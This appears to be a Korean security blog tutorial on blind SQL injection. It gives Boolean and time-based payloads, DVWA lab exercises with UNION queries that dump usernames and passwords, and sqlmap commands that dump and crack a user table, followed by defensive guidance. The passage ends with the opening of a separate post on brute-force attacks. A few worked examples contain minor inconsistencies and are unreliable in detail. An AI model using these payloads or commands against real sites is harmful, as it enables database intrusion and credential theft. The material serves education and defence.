가령 어느 웹사이트가 게시판 검색이라는 기능을 제공할 경우, 다음과 같이 참/거짓의 반환을 테스트 해 볼 수 있다.
[ 외부 입력값 ]
제목검색: hello' AND 1=1-- (유효한 검색단어와 항상 참이되는 조건 부여)
[결과]
게시판 검색됨 --> 참(true)이으로 간주
---
[ 외부 입력값 ]
제목검색: hello' AND 1=2-- (유효한 검색단어와 항상 거짓이 되는 조건 부여)
[결과]
게시물 검색 안됨 --> 거짓(false)으로 간주
'hello'라는 검색어에 항상 참인 조건(1=1)을 AND로 조합하니까 정상적으로 결과가 반환되었다. 반면 동일한 검색어(hello)에 항상 거짓인 조건(1=2)을 AND로 조합하니가 구성하니 게시판 검색이 되지 않았다. 이 둘을 참과 거짓의 반응으로 간주할 수 있다.
즉 핵심은 게시판 검색 기능을 참/거짓을 반환하는 요소로 사용할 수 있다는 점이다. 여기에 AND 조건으로 해커가 알고 싶은 쿼리 조건을 삽입해서 그 결과로부터 정보유출이 가능한 것이 Blind SQL 인젝션 공격 기법이며 이중에서도 AND 조건에 논리식을 대입하여 참/거짓 여부를 알아내는 방식을 Boolean-based Blind 공격이라 한다.
2) Time-based Blind 공격
앞서 게시판 검색에서는 검색 결과의 유,무로 참/거짓을 판별할 수 있었다. 그러나 어떤 경우에는 응답의 결과가 항상 동일하여 응답결과만으로는 참/거짓을 판별할 수 없는 경우가 있을 수 있다.
이럴때는 시간을 지연시키는 쿼리를 주입하여 응답 시간의 차이로 참/거짓 여부를 판별할 수 있다.
게시판 검색 시나리오에서 Time-based Blind 공격을 시도해 보자.
MS SQL Server 환경
[ 외부 입력값 ]
(DB의 시스템 계정이 sa 인지 판별하는 구문 삽입. 여기에서 검색어(hello)는 중요하지 않음)
제목검색: hello' ; IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:5'--
[실행되는 쿼리]
SELECT * FROM TB_Boards WHERE Title = 'hello' ; IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:2'
[결과]
1) 응답이 5초간 지연됨 -> 참(true) --> 시스템 계정이 sa임
2) 응답이 즉시 이뤄짐 -> 거짓(false) --> 시스템 계정이 sa가 아님
My SQL 환경
[ 외부 입력값 ]
(DB의 시스템 계정이 sa 인지 판별하는 구문 삽입. 여기에서 검색어(hello)는 중요하지 않음)
제목검색: hello AND sleep(5)#'
[실행되는 쿼리]
SELECT * FROM TB_Boards WHERE Title = 'hello' AND sleep(5)
[결과]
1) 응답이 5초간 지연됨 -> 참(true) --> hello 검색어가 존재함
2) 응답이 즉시 이뤄짐 -> 거짓(false) --> hello 검색어가 존재하지 않음
이렇듯 Time-based Blind 공격은 쿼리 지연을 유도해 응답 시간에 걸리는 시간으로 참/거짓을 판별하게 함으로써 DB의 유용한 정보를 캐낼 수 있게 된다.
정리하자면, Blind SQL 인젝션은 쿼리 결과가 참일때와 거짓일때의 서버의 반응 만으로 데이터를 얻어낼 수 있는 SQL 인젝션 공격 기법이다. 이 기법은 많은 조건에 대한 비교과정을 거쳐야 의미있는 정보를 얻을수 있기 때문에, 거의 모든 경우 자동화 툴을 사용해서 공격이 진행된다.
Blind SQL 인젝션 공격 시나리오
해커는 게시판 검색 기능을 이용하여 회원 테이블의 비밀번호를 알아내고자 한다. 이미 다양한 공격 시도로 회원 테이블명이 Users라는 것을 알고 있거나 유추했다고 가정한다.
1. (앞서 해 본 것 처럼) 해커는 게시판 검색 기능으로 참/거짓을 판별할 수 있다는 것을 알아 냈다.
2. 해커는 회원 테이블에서 특정 회원의 비밀번호를 알아내고자 다음과 같은 쿼리를 주입한다.
(DB는 MS SQL Server 라고 가정함)
[ 외부 입력값 ]
hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 90
[ 실행되는 쿼리문 ]
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 91
회원 테이블에서 'admin'이라는 계정의 패스워드를 알아 내려고 한 해커는....
항상 참(true)을 반환하는 조건(여기서는 게시판 제목 검색에 'hello'라는 검색어) 뒤에 AND 조건으로 회원 테이블의 패스워드에서 첫 문자를 가져와서 아스키코드로 변환하여 그 결과를 아스크 코드값과 비교한다. 먼저 대소분자 여부를 알아내기 위해 아스크 코드 91 보다 큰지 검사한다.
아스키코드 90은 대문자 'Z'의 아스키 값으로 이 값보다 크다는 말은 패스워드 첫 글자가 소문자로 구성되었다는 의미가 된다.(아스키 코드 테이블 참조)
패스워드 첫 글자가 소문자인 것을 알아낸 해커는 계속해서 다음과 같은 공격을 연속적으로 시도한다.
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 110 -- true
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 115 -- false
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 113 -- false
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 111 -- true
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 112 -- false
이렇게 총 6번을 시도해 본 결과, 패스워드 첫 글자가 소문자 'P' 라는 것을 알게 된다.
(111보다 크다는 조건에서는 true 값을, 112보다 크다는 조건에서는 false를 반환했으니 결과는 112로 영어 소문자 p가 되는 것이다)
이런식으로 한 글자씩 아스키값을 비교해서 전체 패스워드를 알아 나가는 방식으로 공격이 수행된다.
SQL 인젝션 공격 실습
[ 경고 ]
허가 받지 않은 사이트에 해킹을 시도 하는 것은 불법입니다.
DVWA와 같이 테스트를 목적으로 셋팅된 사이트에 모의 해킹을 시도해야 법적 문제가 업습니다.
SQL 인젝션 취약성 판단
SQL 인젝션 공격을 시도하기 전에 공격 대상 웹 애플리케이션이 SQL 인젝션에 취약한지 먼저 알아 보는 것이 좋다. 보통 자동화 툴을 통해 스캐닝을 한번 쭉 해 보면 쉽게 알 수 있지만 간단한 테스트로도 알아 볼 수 있다.
제일 간편하게 알아 볼 수 있는 방법은 사용자 입력값에 '(싱글쿼터)를 주입해 보는 것이다.
만일 싱글쿼터를 입력했는데, 사이트가 오류를 내 뱉으면 SQL 인젝션에 취약하다는 의미가 된다. 공격 대상 웹 애플리케이션의 다음과 같은 입력요소에 싱글쿼터 주입을시도해 볼 수 있다.
- 로그인 창
- 게시판 검색창
- 사이트 전역 검색창
- GET URL의 파라메타값
- 기타 외부입력값으로 보이는 모든 곳
DVWA 사이트에서 SQL 인젝션 공격 실습
1) (일반적인) SQL 인젝션 공격 실습
로컬에 셋팅된 DVWA 사이트(http://localhost/dvwa)를 브라우저로 접속하고 로그인(admin / password) 한다. 만일 DVWA 사이트에 접속되지 않는다면 XAMPP Control Panel에서 Apache와 MySQL 이 시작되었는지 확인한다.
DVWA 사이트가 로컬에 셋팅되지 않았다면, 다음 글을 참고하여 로컬 환경을 마련한다.
DVWA 사이트에 접속하면 다음 화면과 같이 SQL Injection과 SQL Injection(Blind) 메뉴를 볼 수 있다. 먼저 SQL Injection 메뉴를 들어가서 SQL 인젝션 공격을 시도 해보자.
DVWA 사이트의 Security 레벨을 Low로 설정하는 것을 잊지 말자. Security 레벨에 대해서는 다음의 글을 참고한다.
이 페이지는 User ID를 입력하면 회원 정보를 간단히 출력하는 기능을 제공한다.
(DVWA 데이터베이스는 1~5까지의 User ID가 기본적으로 저장되어 있다. 1~5 중 아무거나 입력해서 테스트 해 보면 출력 결과를 볼 수 있다)
User ID라는 외부 입력값을 주입할 수 있는 기능을 찾았으니 이 페이지가 SQL 인젝션에 취약한지 먼저 테스트 해 본다. 앞서 설명 했듯이, '(싱글쿼터)를 입력해서 응답을 보니 오류 메시지가 출력되는 것을 확인할 수 있다. 따라서 이 페이지는 SQL 인젝션에 취약한 것을 확인한 것이다.
이제 User ID에 공격용 SQL 구문을 삽입해 보자. DVWA 사이트는 MySQL DB를 사용하므로 MySQL용 SQL 구문을 사용해야 한다.
다음은 SQL 구문 삽입에 대한 결과를 설명한다
1' or 1=1# (결과)모든 User 정보가 노출되어 버림(조건이 항상 참이 되어 버려 모든 행(row) 출력)
1' union select 1,1# (결과)오류 없음. 즉 컬럼 갯수가 두개라는 것을 알아냄
1' union select schema_name, 1 from information_schema.schemata# (결과)서버의 데이터베이스 이름이 모두 노출됨
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa'# (결과)dvwa 데이터베이스에 포함된 테이블과 컬럼이름이 모두 노출됨.
(MySQL의 information_schema는 해당 서버의 모든 DB의 메타정보를 저장해둔 데이터베이스이다. UNION 구문을 주입하여 information_schema에 있는 각종 정보를 조회해 볼 수 있다.)
이제 앞서 공격을 통해, dvwa라는 DB에 users라는 테이블이 있으며 이 테이블의 컬럼들을 모두 알아 내었다. 마지막 공격 테스트로 다음과 같이 users 테이블에 user 이름과 password를 조회해 보자
1' union select user,password from users# (결과) users 테이블의 모든 사용자에 대한 이름, 패스워드가 노출됨
2) Blind SQL 인젝션 공격 실습
이제 DVWA 사이트에서 Blind SQL Injection 메뉴로 이동하자. SQL Injection 메뉴와 동일하게 User ID를 입력받는 페이지가 로딩된다.
여기에 '(싱글쿼터)를 입력해보자.
이번에는 아무런 오류가 나지 않는다. 즉 SQL 인젝션 공격에 취약한지 일단을 알기 힘들다.
그리고 정상적인 User ID를 입력해도 '아이디가 존재한다'는 안내 메시지만 노출될 뿐 특별한 추가 정보를 보여주진 않는다.
그렇다면 이제 이 페이지가 참/거짓을 판별할 수 있는 요소인지 테스트 해 보자. User ID에 다음과 같이 입력하고 결과를 보자.
1' AND a=b# (결과) User ID가 없다는 결과를 출력함
1' AND a=a# (결과) User ID가 존재한다는 결과를 출력함
존재하는 ID인 1을 입력하고 AND 조건으로 항상 참(true)이되거나 거짓(false)이 되는 조건을 주입하니까 그 결과로 서로 다른 결과를 보여준다. 여기서 우리는 이 페이지가 Blind SQL 인젝션에 활용할 수 있는 즉 참/거짓을 반환하는 요소임을 눈치 챌 수 있다.
이제 다음과 같이 Time based 공격을 시도해 보자.
1' AND sleep(5)# (결과) 응답시간이 5초가 걸림
6' AND sleep(5)# (결과) 즉각 응답함
존재하는 ID일 경우, 응답에 5초가 걸리는 것으로 보아 이 조건은 참이 되어 1이라는 ID가 존재한다는 의미가 된다. 반면 6을 입력하면 거짓이 되어 그 뒤의 조건인 sleep(5)가 실행되지 않아 즉각 반환하게 된다. 결국 여기서 우리는 6이라는 User ID는 존재하지 않는다는 것을 알 수 있다.
이제 참/거짓을 판별할 수 있는 요소를 이용해서 유용한 정보를 캐내어 보자
User ID가 1인 사람의 first_name을 알아 내는 과정을 시도해보자. 아래처럼 차례대로 입력해서 결과를 보자.
1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 91# (결과) false
1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 110# (결과) false
1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 100# (결과) false
1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 95# (결과) true
1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 97# (결과) false
1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 96# (결과) true
96보다는 크고(true) 97보다는 크지 않는 아스키코드의 문자는 바로 'a'가 된다. 이렇게 first_name의 첫 글자를 알아 내었다. 이런식으로 두번째, 세번째 글자를 하나씩 알아낼 수 있게 된다.
3) 툴을 이용한 자동화된 Blind SQL 인젝션 공격 실습
앞서 수동으로 Blind SQL 인젝션 공격을 시도해 보았다. first_name 하나만 알아내는데도 많은 비교 과정을 거쳐야 한다. 따라서 이와같은 공격은 툴로 자동화해서 시도하면 공격 효율이 훨씬 높아진다.
SQL 인젝션에 가장 흔히 사용되는 툴인 SQL Map를 사용해 볼 것이다.
[ SQL Map 설치(윈도우) ]
1) 파이썬 설치(SQL Map는 2.6.x 또는 2.7.x 버전에서만 동작함)
2) http://sqlmap.org 에서 ZIP 파일 다운로드 받아서 압축풀기
3) 명령프롬프트(cmd.exe)에서 해당 폴더로 이동 후 명령어 실행
ex) python sqlmap.py --help
SQL Map 으로 다음의 명령을 실행할 것이다.
python sqlmap.py -u "공격 대상 URL" --cookie="사이트 쿠키값"
여기서 공격 대상 URL은 DVWA 사이트의 Blind SQL Injection 메뉴에서 User ID를 입력하고 전송(Submit)한 URL이 되며, 쿠키 정보는 크롬 브라우저 개발자도구(F12)에서 확인 가능하다.
(DVWA 사이트는 인증을 해야 들어갈 수 있기 때문에 인증값인 쿠키가 필요하다.)
이 명령어를 채워서 다음과 같이 공격을 시작해 보자.
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn"
다음과 같은 콘솔 결과를 확인할 수 있다.
콘솔의 내용을 보면, id라는 GET 파라메타를 이용해서 AND Boolean-based Blind 공격이 가능할 것 같다는 메시지를 확인할 수 있다. 그리고 데이터베이스가 MySQL 같아 보이며, 다른 DBMS에 대한 공격은 건너 뛸 것인지 물어보고 있다. 여기서 Y(기본값)를 입력하고 엔터를 친다.
그러면 다음과 같이 선택을 요구한다.
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
MySQL 대한 모든 테스트를 포함할 것인지 두는 것인데 역시 Y(기본값)을 선택하고 다시 엔터를 친다.
이제 SQLMap이 공격을 자동을 수행한다. 중간중간에 옵션에 대한 질문이 나오면 기본값(Y)로 해서 계속 진행한다.
최종적으로 다음과 같이, id 파라메타가 취약하다는 것을 알리며 다른 파라메타를 계속 테스트 할 것인지 물어본다.
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
여기서는 N(기본값)을 선택하고 계속 진행하면 최종 결과가 다음과 같이 나타난다.
id 파라메타를 이용해서 boolean-based blind와 error-based, AND/OR time-based blind 공격이 가능하다고 알려 주고 있으며 웹서버의 종류와 버전, 개발언어, DBMS 종류와 버전을 알려준다.
이제 SQL 인젝션 공격이 가능하다고 나왔으니 본격적으로 공격을 시도해 보자.
DB 명 알아내기
다음 명령어를 실행해서 DB 명을 알아 낼 수 있다.
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" --current-db
명령이 실행되면 콘솔 출력에 다음과같이 DB명이 나타난다.
current database: 'dvwa'
테이블명 알아내기
DB명을 알아 냈으니 이번에는 다음의 명령어로 해당 DB에 존재하는 테이블들을 조사해 보자.
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" -D dvwa --table
결과를 보면 dvwa 데이터베이스에는 guestbook과 users라는 테이블이 존재한다는 것을 확인할 수 있다.
테이블에 저장된 데이터 알아 내기
users가 회원테이블임을 직감하고 이 테이블의 내용을 획득하고자 한다. 다음의 명령어를 실행한다.
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" -T users --dump
결과는 users 테이블에 저장된 모든 회원정보가 나타난다. 샘플 화면에는 admin, Brown 이라는 사용자가 있고 패스워드가 해시된 형태로 저장되어 있음을 확인할 수 있다.
이어서 SQLMap은 다음과 같이 해시된 패스워드를 사전 공격(Dictionary Attack)으로 크래킹 시도를 할 것인지 물어본다. 이때 어떤 사전(Dictionary)파일을 사용할 것인지 확인한다. 모두 기본값으로 계속 진행한다.
해시된 패스워드를 사전 공격으로 하나씩 크래킹을 시도한다.
공격 시도가 완료되었다. 결과를 보면 users 테이블의 모든 내용이 출력되었으며 해시된 패스워드도 크래킹되어 평문으로 노출되었다. 그리고 친절하게도 csv 파일로 저장했다고 알려 주고 있다.
테스트 시나리오 이지만, 이런 식으로 회원테이블이 유출되면 정말 끔찍할 것이다.
SQL 인젝션 대응 방안
SQL 인젝션 공격에 대응하기 위한 방법들을 알아보자. 여러 측면에서 전방위적인 대응이 필요하겠으나 여기서는 기술적인 부분만 다루도록 한다. 다음은 3가치 축으로 정리해 본 모습이다.
웹 방화벽(WAF) 도입
웹 방화벽은 HTTP/HTTPS 응용 계층의 패킷 내용을 기준으로 패킷의 보안성을 평가하고 룰(Rule)에 따라 제어한다. SQL 인젝션의 룰(Rule)을 설정하여 공격에 대비할 수 있다.
1. 물리적 웹 방화벽
기업의 규모가 어느정도 되거나 보안이 중시되는 환경 또는 예산이 충분한 환경에서는 물리적인 전용 WAF 사용을 권장한다. 어플라이언스 형태의 제품을 사용하거나 SECaaS 형태의 클라우드 기반의 솔루션을 도입할 수도 있다.
2. 논리적 웹 방화벽(공개 웹 방화벽)
전용 웹방화벽 장비를 도입할 여력이 되지 않는다면, 공개 웹방화벽을 고려해 볼 만 하다. 대부분 공개 웹 방화벽은 물리적인 장비가 아닌 논리적인 구성으로 웹 방화벽 역할을 수행한다.
윈도우 서버 환경에서는 WebKnight, 아파치 서버 환경에서는 ModSecurity를 사용할 수 있다.
ModSecurity는 OWASP(세계적인 웹 보안 커뮤니티) 에서 무료 탐지 룰(CRS)을 제공하며 이를 통해OWASP TOP 10 취약점을 포함한 웹 해킹 공격으로부터 홈페이지(웹서버) 보호가 가능하다.
WebKnight는 웹서버 앞단에 필터(ISAPI) 방식으로 동작, 웹서버로 들어오는 모든 웹 요청에 대해 사전에 정의한 필터 룰에 따라 검증하고 SQL 인젝션 공격 등을 사전에 차단 할 수 있다
- 웹서버 보안 강화 안내서 (->바로가기)
시큐어 코딩
1. 입력값 유효성 검사
모든 웹 보안 영역에서는 외부 입력값에 대한 대전제가 하나 있다.
모든 외부 입력값은 신뢰하지 말라
SQL 인젝션에서도 마찬가지이다. 외부에서 들어오는 모든 입력값은 모두 의심의 대상이다.
여기서 외부 입력값은 이용자가 직접 타이핑한 값일 수도 있지만 직접 타이핑 하지 않더라도 Burp Suite와 같은 프록시 툴을 이용하여 중간에 값을 변조할 수 있는 외부 값도 포함된다. (가령 게시판에서 게시물 번호와 같은..)
SQL 인젝션의 가장 기본적인 대응 전략은 바로 입력값의 유효성을 검사하는 것이다. 입력값 검증에는 두 가지 방식이 존재한다.
1) 블랙 리스트 방식
SQL 쿼리의 구조를 변경시키는 문자나 키워드를 제한하는 방식이다. 아래와 같은 문자를 블랙리스트로 미리 정의하여 해당 문자를 공백 등으로 치환하는 방식으로 방어한다.
DBMS 종류에 따라 쿼리의 구조를 변경시키거나 쿼리문의 일부로 사용되는 문자 필터링
(특수문자) ' , " , = , & , | , ! , ( , ) , { , } , $ , % , @ , #, -- 등
(예 약 어) UNION, GROUP BY, IF, COLUMN, END, INSTANCE 등
(함 수 명) DATABASE(), CONCAT(), COUNT(), LOWER() 등
2) 화이트 리스트 방식
블랙리스트 방식보다 보안성 측면에서는 훨씬 강력한 방법이다. 블랙리스트 방식에서는 금지된 문자 외에는 모두 허용하지만 화이트리스트 방식에서는 허용된 문자를 제외하고는 모두 금지하는 방식이다.
지정된 문자만을 허용하기 때문에 웹 애플리케이션의 기능에 따라 화이트리스트를 다르게 유지해야 할 필요가 생긴다. 그리고
참고로 화이트 리스트를 정의할 때에는 개별 문자를 일일이 하나씩 모두 정의하는 것보다 정규식을 이용해서 범주화/패턴화 시키는 것이 유지보수에 더 유리하다.
2. 동적 쿼리 사용 제한
1) 동적 쿼리 금지
웹 애플리케이션이 DB와 연동할 때 정적쿼리만 사용한다면 SQL 인젝션을 신경 쓸 필요가 없다. 하지만 현실적으로 동적 쿼리를 사용하지 않을 수 없을 것이다. 근래의 웹 애플리케이션은 모두 사용자와 상호작용하며 동적인 기능을 기반으로 하기 때문에 동적 쿼리 사용은 거의 필수에 가깝다.
2) 매개변수화된 쿼리(구조화된 쿼리) 사용
동적 쿼리를 정적쿼리 처럼 사용하는 기법이다. 쿼리 구문에서 외부 입력값이 SQL 구문의 구조를 변경하지 못하도록 정적구조로 처리하는 방식인데 이를 파라메타화된(매개변수화된) 쿼리라 한다.
자바 환경에서 JDBC API를 사용하는 경우, 구조화된 쿼리를 지원하는 PreparedStatement를 사용할 수 있다. 닷넷에서는 SqlCommand를 사용하면 파라메타화된 쿼리를 사용할 수 있다.
[ 참고 ]
OWASP의 SQL 인젝션 대응 문서를 보면 각 언어별로 파라메타화된 쿼리 사용을 위한 가이드와 코드 샘플을 안내하고 있으니 참고하기 바란다.
> SQL Injection Prevention Cheat Sheet
(일부 발췌)
Language specific recommendations:
Java EE – use PreparedStatement() with bind variables
.NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
PHP – use PDO with strongly typed parameterized queries (using bindParam())
Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
SQLite - use sqlite3_prepare() to create a statement object
추가로 행정안전부에서 발간한 시큐어코딩 가이드를 보면 자바 기준에서 JDBC, MyBatis, Hibernate 사용환경에서 안전한 코딩 기법을 제시하고 있으니 참고 바란다.
3. 오류 메시지 출력 제한
1) DB 오류 출력 제한
DB의 오류 정보를 그대로 이용자에게 노출해서는 안된다. DB 오류 정보에는 개발자들이 쉽게 디버깅할 수 있도록 내부 정보를 상세히 알려주는 경우가 많다. 해커는 이 정보를 바탕으로 DB 구조를 파악하고 데이터 유출을 시도할 것이다. 따라서 DB 오류가 적나라하게 이용자에게 노출되지 않도록 커스텀 오류 페이지를 제공해야 한다.
2) 추상화된 안내 메시지
또한 너무 자세한 안내 메시지도 주의할 필요가 있다. 가령 로그인을 실패 했을 때, ID가 틀렸는지 Password가 틀렸는지 꼭 집어 알려줄 필요가 있을까? 오히려 이 정보는 해커들에게 공격의 범위를 좁혀주는 결과로 이질 수 있다. 단지 '로그인 정보가 일치하지 않습니다'와 같이 추상적인 메시지가 (약간의 사용성을 해치더라도) 더 나을 때도 있다.
DB 보안
1. DB 계정 분리
관리자가 사용하는 DB 계정과 웹애플리케이션이 접근하는 DB 계정은 반드시 분리되어야 한다. 간혹 귀찮다는 이유로 관리자의 DB계정을 여기저기 다 사용하는 경우가 있다. 반드시 분리 하도록 한다.
2. DB 계정 권한 제한
웹 애플리케이션이 DB에 액세스하는 전용 계정을 생성하고 이 계정에는 최소 권한 원칙에 입각하여 꼭 필요한 권한만 할당한다. 과연 웹애플리케이션에서 DROP TABLE와 같은 DML을 실행할 필요가 있는가? 아마 대부분은 필요치 않을 것이다. 또한 웹에서 DB의 기본 프로시저나 확장 프로시저를 호출할 필요가 있는가도 따져 볼 일이다.
웹 애플리케이션이 제공하는 기능만 수행가능하도록 권한을 제한한다.
참고로 필자의 과거 경험을 보자면, 모든 DB 액세스는 저장 프로시저로만 가능하도록 하고 계정 권한은 해당 프로시저들의 실행 권한만 부여한 적이 많았다.
또 한가지 팁은, SELECT 권한과 INSERT, UPDATE, DELETE 권한을 분리하여 서로 다른 계정으로 접근하도록 구성할 수도 있다. 이 경우 SELECT 권한으로 SQL 인젝션 공격이 들어와도 데이터베이스를 업데이트 할 수 없게 된다.
3. 기본/확장 저장 프로시저 제거
데이터베이스가 설치될때 기본적으로 포함된 프로시저들을 꼭 필요한 경우가 아니라면 제거하는 것이 좋다. 가령 MS SQL Server의 xp_cmdshell 프로시저는 db에서 시스템 명령어를 실행할 수 있도록 하는 확장 프로시저이다. 거의 대부분의 웹 애플리케이션에서는 이러한 확장 프로시저를 호출할 필요가 없을 것이다.
취약점 점검과 모니터링
1. 지속적 취약점 점검
SQL 인젝션 취약점을 정기적으로 점검해야 한다.
모의 해킹을 시도하거나 웹 취약점 점검 툴을 이용해 주기적인 취약점 점검이 권장된다.
비즈니스가 활발히 진행되는 만큼 웹사이트의 업데이트도 빈번할 것이다. 간단한 이벤트 페이지라고 하더라도 DB연동을 하는 경우, 언제나 SQL 취약점에 노출될 수 있다는 것을 명심해야 한다.
다른 모든 곳에 보안을 튼튼해 해 뒀더라도, 이벤트 페이지 하나 때문에 해킹을 당하는 수가 빈번히 있음을 주의해야 할 것이다.
2. 로깅과 모니터링
SQL 인젝션은 많은 경우 오류를 유발시키거나 동일한 페이지나 기능을 반복적으로 호출하는 형태로 공격이 이뤄진다. 따라서 유달리 500 오류가 많이 발생하거나 동일한 IP에서 동일한 페이지를 반복적으로 호출할 경우 요주의 대상으로 주의깊에 살펴야 한다.
이상현상에 대한 기준과 임계를 설정하고 해킹 시도로 판단될 시, 즉각 알림이 전송되어 바로 조사가 가능한 체계를 갖추는 것이 좋다.
[ 참고 ]
OWASP에서는 SQL 인젝션 공격에 대응하는 가이드를 제공하고 있다. 이 페이지에서 보다 상세한 방어 기법을 확인할 수 있다
'SW개발' 카테고리의 다른 글
The Scale Cube (규모 확장성 모델) (6) | 2019.02.21 |
---|---|
해킹 피해에 따른 행정처분 사례 (4) | 2019.02.08 |
[웹보안] 브루트 포스(BRUTE FORCE) 공격 (8) | 2019.01.23 |
[웹보안] 로컬 환경 셋팅과 툴 설치 (5) | 2019.01.17 |
설정 파일의 외부화(Spring Cloud Config) (5) | 2018.03.29 |
INTRO
불과 '반년 전 즈음(2018.06)에 브루트 포스(Brute Force) 공격이 대형 은행을 겨냥해 시도' 되었습니다.
이 사건은 (적어도 당시에는) 다행히 실제 금전적인 피해로 까지는 이어지지는 않은 것 같네요.
공인인증서나 OTP가 해킹된 것이 아닌만큼 출금/이체와 같은 서비스는 건드리지 못했을 겁니다.
하지만 정보유출이라는 측면에서는 꽤나 성공적이여서 고객 정보 56,000건이 유출되었다고 합니다.
유출된 고객의 개인 정보를 악용해 2차 피해가 어떤 식으로 유발될지는 알 수 없는 노릇이죠.
보다 자세한 내용은, 다음의 KBS 보도 영상과 관련 기사를 참고하기 바랍니다.
80년대 초에 성행 했다던 브루터포스 공격은, 구식 공격기법이라는 인식과 너무 단순한 공격기법이라는 측면에서 기술이 발전한 근래에는 많이 행해지지 않을 것 같지만 드문드문 사례가 보이네요.
아래에 링크는 '2017년에 발생한 워드 프레스를 대상으로한 대규모 분산 무차별 대입 공격'에 대한 기사입니다.
마치 DDoS처럼 공격에 동원된 IP 수도 많고 각 IP가 막대한 수의 공격을 행했다는 기사를 확인할 수 있습니다. 이 기사에는 공격에 대한 대비책도 안내하고 있으니 참고하면 좋을 것 같습니다.
> 워드프레스를 대상으로 대규모 무차별 대입 공격(Brute Force Attack) 발생
그리고 '2014년에는 iCloud 해킹으로 헐리우드 스타들의 사적인 누드 사진들이 인터넷으로 배포'되는 사건이 있었습니다. 이 역시 브루터 포스 공격이 기반이 된 해킹 사례로 언급되는 듯 합니다.
> Apple Patches Brute Force Password-Cracking Security Hole in iCloud
그리고 꽤 오래전 우리나라에서 발생한 재미있는 에피소드가 있는데요...
1993년 '청와대 해킹사건'때 김재열이란 분이 수동으로 브루터포스 공격을 시도해 국제심판소의 PC통신 비밀번호를 알아 내었다고 합니다. (이때 국제심판소의 비밀번호는 무려 '12345'이였다고 하네요.)
브루터 포스 공격은 단순하고 식상한 기법인 듯 하지만, 지금 이순간에도 많이 행해지고 있는 공격 기법입니다. 또한 공격이 성공했을 경우 파급력이 상당하기 때문에(내 계정을 해커가 장악했다고 생각해 보세요 =.=) 보안 개발자가 절대로 간과해서는 안될 것입니다.
브루터 포스 공격의 정확한 원리와 공격 방법, 대응 방안을 잘 숙지하시기 바랍니다.
1. 브루트 포스(Brute Force) 공격이란?
당신은 지금껏 살면서,
누군가의 비밀번호를 알아 내기 위해 임의로 접근을 시도해 본 적이 없었는가?
그것이 자물쇠 비밀번호이든, 휴대폰 비밀번호이든, 웹사이트 비밀번호이든 말이다. 만일 그런적이 있다면, 당신은 이미 브루트포스 공격을 해 본 경험이 있는 것이다.
컴퓨터 분야의 브루터포스(Brute Force)란 용어는 '억지 기법(무차별 대입해 억지로 문제를 푸는)'이라 해석되며 개념적으로 아주 단순한 공격 기법이다..
특정 암호를 풀기 위해 임의의 문자의 조합을 하나씩 대입해 보는 공격 기법이다.
브루터포스 공격은 암호를 사용하는 모든 곳에 행해질 수 있다.
암호가 걸린 파일, SSH 접속, FTP 접속, 웹사이트 회원 로그인 등이 그 대상이 될 수 있다.
다만, 이 글에서는 웹 사이트 회원 로그인에 대한 공격과 방어에 초점을 맞출 것이다.
브루터 포스 공격을 위해, 임의의 문자열을 생성/조합하고 대입하는 방법으로는 다음과 같이 두 가지로 형태로 나눌 수 있다.
1.1 브루터 포스 공격을 위한 문자열 생성 및 대입 방법
1.1.1 무작위 순차 대입
브루터포스의 무차별 대입이라는 특징을 그대로 구현하는 것으로, 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입해 보는 것이다. 그야말로 무식하게 암호가 일치할때 까지 모든 경우의 수를 조합해 대입을 시도한다.
이론상으론 공격에 충분한 시간만 주어진다면 (모든 문자에 대한 조합을 시도해 볼 수 있기 때문에) 언젠가는 비밀번호를 맞히게 될 것이다.
다만 현실적으로는 암호의 길이와 복잡도의 증가에 따라 공격에 걸리는 시간이 기하급수적으로 늘어나므로 무조건 성공한다고 보기 어렵다.
무작위 순차 대입의 공격의 소요 시간을 줄이기 위해 미리 정의된 문자열 목록을 이용하기도 하는데, 이어서 알아보자.
1.1.2 사전(Dictionary) 대입
상당한 시간이 소요되는 무작위 순차 대입 방식 단점을 극복/보완하는 방법으로, 미리 정의된 문자열 목록을 대입하는 방법이다.
